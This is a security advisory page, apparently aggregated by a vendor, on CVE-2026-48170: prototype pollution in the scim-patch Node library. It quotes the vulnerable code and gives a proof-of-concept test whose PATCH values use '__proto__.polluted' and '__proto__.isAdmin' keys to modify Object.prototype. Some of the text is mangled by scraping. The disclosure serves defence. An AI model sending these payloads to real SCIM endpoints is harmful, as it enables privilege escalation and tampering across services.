scimPatch vulnerable to prototype pollution via unfiltered keys in patch
scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch,
Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.
Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.
<= 0.9.0 (current HEAD 871b1e2)PATCH /Users/:id request body.Object.prototype mutation) leaks into the entire Node process.Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:
actor.isAdmin / req.user.admin / similar boolean flags against a plain object that *expects* the key to be absent.obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer).In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:
```ts
function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
if (typeof patch.value !== 'object') { ... }
// src/scimPatch.ts:423-427
for (const [key, value] of Object.entries(patch.value)) {
assign(property, resolvePaths(key), value, patch.op);
}
return property;
}
```
assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):
```ts
function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
const lastKeyIndex = keyPath.length - 1;
for (let i = 0; i < lastKeyIndex; ++i) {
const key = keyPath[i];
if (!(key in obj)) {
obj[key] = {};
}
obj = obj[key]; // ← obj["__proto__"] === Object.prototype
}
// ... assigns into Object.prototype
}
```
For keyPath = ["__proto__", "polluted"]:
"__proto__" in obj is always true, so the fresh-object branch is skipped.obj = obj["__proto__"] now points to Object.prototype.Object.prototype.polluted.The same shape works for constructor.prototype keys.
Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:
```ts
import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';
describe('Prototype pollution via scim-patch', () => {
let scimUser: ScimUser;
beforeEach(() => {
scimUser = JSON.parse(`{
"schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
"id": "tea_4",
"userName": "spiderman",
"name": { "familyName": "Parker", "givenName": "Peter" },
"active": true,
"emails": [{ "value": "[email protected]", "primary": true }],
"roles": [],
"meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
}`);
});
afterEach(() => {
delete (Object.prototype as any).polluted;
delete (Object.prototype as any).isAdmin;
});
it('pollutes Object.prototype via a value-key containing __proto__', () => {
expect(({} as any).polluted).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.polluted': 'yes' }
}]);
expect((Object.prototype as any).polluted).to.equal('yes');
expect(({} as any).polluted).to.equal('yes');
});
it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
expect(({} as any).isAdmin).to.equal(undefined);
scimPatch(scimUser, [{
op: 'add',
path: 'name',
value: { '__proto__.isAdmin': true }
}]);
expect((Object.prototype as any).isAdmin).to.equal(true);
expect(({} as any).isAdmin).to.equal(true);
});
});
```
Reje
This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability low.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
CVE-2026-48170 is classified as CWE-1321: Prototype Pollution. Attacker input can modify an object prototype, changing behaviour for objects across the application.
CVE-2026-48170 is recorded against 2 packages.
Published on 22 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Web)
github.com (Package)
These advisories are the same class of weakness (CWE-1321: Prototype Pollution) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| scim-patch | — | — |
| unknown | — | — |
References
Exploit Protection
CVE-2026-48170 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.
Check My Site For CVE-2026-48170 →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.